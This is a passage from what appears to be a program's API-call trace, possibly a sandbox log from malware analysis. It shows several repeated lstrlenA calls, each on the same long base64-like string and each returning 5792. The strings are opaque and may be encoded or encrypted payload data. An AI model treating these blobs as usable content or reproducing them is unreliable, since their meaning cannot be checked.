MGw4djJq0t1O10PLYxpkc0Vgwi7wQnJTaF9ujcPLOJhzOSSvTIdlRLpqKkRvA6+dhv7LI76ih9HJPqw8YuyvNKlGZoAZ1w3z7Fz2jCtLaff8SEFgGWFP2d/iabUp0mmEoK1UqlEe+AEeTDndSwPdvccQ4efcQkZC+onMnNmNpzt625/Vqe1TDaz4EsndpkheTM5jCVXL4wxZ9dk08GtEf+3zgu2kWh2W4dClq0P1skX6e6A8/SaKrnIkBtiL1LSbvOnQYhoTJtyuZYldNKts0RTwvkMvz8o4ZrVUQxZloQTxNYY0XhP1qtOeQy6vpPrQVp8OTCw6inOnUFMH1YR/l+GEaMxqf/Hv7IDBdfvozGMeacN2ZQYBxscjUA+WnGS6S879SOnF38AU54s/Xq5ew85QKqqoygwy0NCopSgmiKQX+YzuwLNNjCzQiYUooIKFMJXN+0h4yCltnNqBM5nLCbD1rty/PGe5rcqTHi+wx40bI4FY6+hbD4hzBK0Bdu0Vl5U08kosa/TQpX5KkSws/1xv3risuRmmejnI7nvoOZFDtpdW3c1yZef14h09G3fG/TtBFRY25jqXGHttZGyhnaZ717KrA7en2FaxEEJKNQUfn9rzG2oJLoIg08JPBCRWgJxLV4uqlV8bnagNHrEYVeZqqwneAjzQmCY+kmq32kTwJDAhLsoHLTpcbJBSJjNLHitgsPxG6/VZXxXnPjf4HPCwbFi7lJbJyLJ0TUyA5qrFq7inDPuW6u/E0nAjaIW0EQHQHOwLHfeOEzbBMrCmbsSr7qXUyWOen9l11DPiANUFT+us8hDCiObQzBxlH144cCJ0AgDg+JNpC39FPz3ulSWZL0lkSwuCXShs4IynIGLQ9uwjdai596keA1uoJd0/9rVj3UQ7RO9H95nEc1T/vKoBpv1Ma7M5LrpMsBpZsc5r9O6LpFPV7Qm4pj0NBQ6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0042.889] lstrlenA (lpString="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") returned 5792 [0042.889] lstrlenA (lpString="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") returned 5792 [0042.889] lstrlenA (lpString="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